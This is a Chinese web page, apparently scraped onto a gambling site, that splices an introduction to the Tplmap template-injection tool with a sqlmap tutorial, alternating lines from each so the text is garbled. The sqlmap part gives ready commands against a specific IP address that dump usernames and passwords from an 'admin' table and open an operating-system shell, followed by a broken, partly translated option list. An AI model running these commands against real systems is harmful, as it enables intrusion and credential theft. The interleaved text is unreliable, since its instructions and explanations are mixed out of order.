宝马娱乐在线城-宝马娱乐在线

来自 世界互联 2019-10-06 04:00 的文章
当前位置: 宝马娱乐在线城 > 世界互联 > 正文

Tplmap - 扫描服务器端模板注入漏洞的开源工具

原标题:Tplmap - 扫描服务器端模板注入漏洞的开源工具

1、查询数据

Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),Jave(代码评估),Python(代码评估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。

./sqlmap.py -u “http://118.184.30.149/sql_server.asp?qx=sa&id=1” sqlmap 提示 do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n]  选 y

安装Tplmap

提示参数 id 有漏洞,是否要保持其它测试,按 y 回车确定 GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

图片 1

获取所有数据库名 因为已经知道数据库名为微软的 sql server,为了加快检测速度,指定数据库参数 --dbms=mssql ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql --dbs

可以通过使用以下github链接从github存储库克隆该工具来安装Tplmap。

当前网页连接数据库名 ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql --current-db

git clone https://github.com/epinna/tplmap

指定数据库所有表 ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql --table -D "testdb"

成功安装后,将目录路径更改为tplmap安装文件以启动tplmap.py。

读取指定表中的字段名 ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql -D "testdb" -T "admin" --columns

测试Web应用程序中的漏洞

读取指定字段内容 ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql -D "testdb" -T "admin" --dump -C "username,password"

Tplmap不仅利用了文件系统的漏洞,而且还具有使用不同参数访问底层操作系统的能力。以下屏幕截图显示了可用于访问操作系统的不同参数选项

2、执行系统命令

图片 2

./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql --os-shell --threads=10

以下命令可用于测试目标URL中的易受攻击的参数。

3、常见参数

./tplmap.py -u <'目标网址'>

注入点 HTTP 指定请求方法检测 POST --data="password=88952634&rem=on&username=88952634"

执行该命令后,该工具会针对多个插件测试目标URL以查找代码注入机会。

Cookie --cookie "cookie value" 登录检测

图片 3

注入查询数据技术 --technique=U  指定 Union 技术

如果发现漏洞,该工具将输出有关目标中可能注入点的详细信息。这些包括GET参数值(无论是id还是名称),模板引擎(例如Tornado),OS(例如Linux)和注入技术(例如渲染,盲)。

注入 HTTP 所有方法注入检测 --level3  检测 HTTP 方法深度,GET、POST、Cookie、User-agent 和 Referer

图片 4

Base64 编码 url 注入点 sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py

对于易受攻击的目标操作系统,可以使用前面提到的其中一个参数重新运行tplmap命令。例如,我们可以通过以下方式将-os -shell选项与tplmap命令一起使用。

检测 DBMS 当前用户是否 DBA(注入点执行操作系统命令一般需要 DBA 权限) --is-dba

./tplmap.py --os-shell -u <'目标网址'>

从不询问用户输入,使用所有默认配置 --batch

-os -shell选项在目标操作系统上启动伪终端以执行所需的代码。

默认最大线程数为 10 --threads=10

文章出处:latesthackingnews返回搜狐,查看更多

  1. #HiRoot's Blog  

责任编辑:

 2. Options(选项):  

 3. --version 显示程序的版本号并退出 

 4. -h, --help 显示此帮助消息并退出

  5. -v VERBOSE 详细级别:0-6(默认为 1)

6.    7. Target(目标): 

 8. 以下至少需要设置其中一个选项,设置目标 URL。

9.   

 10. -d DIRECT 直接连接到数据库。 

 11. -u URL, --url=URL 目标 URL。 

 12. -l LIST 从 Burp 或 WebScarab 代理的日志中解析目标。

  13. -r REQUESTFILE 从一个文件中载入 HTTP 请求。 

 14. -g GOOGLEDORK 处理 Google dork 的结果作为目标 URL。

  15. -c CONFIGFILE 从 INI 配置文件中加载选项。

16.    

  1. Request(请求)

  2. 这些选项可以用来指定如何连接到目标 URL。

19.   

 20. --data=DATA 通过 POST 发送的数据字符串  

  1. --cookie=COOKIE HTTP Cookie 头 

 22. --cookie-urlencode URL 编码生成的 cookie 注入 

 23. --drop-set-cookie 忽略响应的 Set - Cookie 头信息 

 24. --user-agent=AGENT 指定 HTTP User - Agent 头 

 25. --random-agent 使用随机选定的 HTTP User - Agent 头

  26. --referer=REFERER 指定 HTTP Referer 头  

  1. --headers=HEADERS 换行分开,加入其他的 HTTP 头

  28. --auth-type=ATYPE HTTP 身份验证类型(基本,摘要或 NTLM)

(Basic, Digest or NTLM) 

 29. --auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)

  30. --auth-cert=ACERT HTTP 认证证书(key_file,cert_file)

  31. --proxy=PROXY 使用 HTTP 代理连接到目标 URL

  1. --proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码) 

 33. --ignore-proxy 忽略系统默认的 HTTP 代理 

 34. --delay=DELAY 在每个 HTTP 请求之间的延迟时间,单位为秒 

 35. --timeout=TIMEOUT 等待连接超时的时间(默认为 30 秒) 

 36. --retries=RETRIES 连接超时后重新连接的时间(默认 3)

  37. --scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式 

 38. --safe-url=SAFURL 在测试过程中经常访问的 url 地址  

  1. --safe-freq=SAFREQ 两次访问之间测试请求,给出安全的 URL

40.    41. Optimization(优化):

  42. 这些选项可用于优化 SqlMap 的性能。

43.   

 44. -o 开启所有优化开关  

 45. --predict-output 预测常见的查询输出

  46. --keep-alive 使用持久的 HTTP(S)连接 

 47. --null-connection 从没有实际的 HTTP 响应体中检索页面长度 

 48. --threads=THREADS 最大的 HTTP(S)请求并发量(默认为 1)

49.    50. Injection(注入):  

 51. 这些选项可以用来指定测试哪些参数, 提供自定义的注入 payloads 和可选篡改脚 本。

52.   

 53. -p TESTPARAMETER 可测试的参数(S)  

  1. --dbms=DBMS 强制后端的 DBMS 为此值 

 55. --os=OS 强制后端的 DBMS 操作系统为这个值

  1. --prefix=PREFIX 注入 payload 字符串前缀 

 57. --suffix=SUFFIX 注入 payload 字符串后缀  

  1. --tamper=TAMPER 使用给定的脚本(S)篡改注入数据

59.    60. Detection(检测): 

 61. 这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。

62.   

 63. --level=LEVEL 执行测试的等级(1-5,默认为 1)

  64. --risk=RISK 执行测试的风险(0-3,默认为 1)

 65. --string=STRING 查询时有效时在页面匹配字符串

  1. --regexp=REGEXP 查询时有效时在页面匹配正则表达式 

本文由宝马娱乐在线城发布于世界互联,转载请注明出处:Tplmap - 扫描服务器端模板注入漏洞的开源工具

关键词: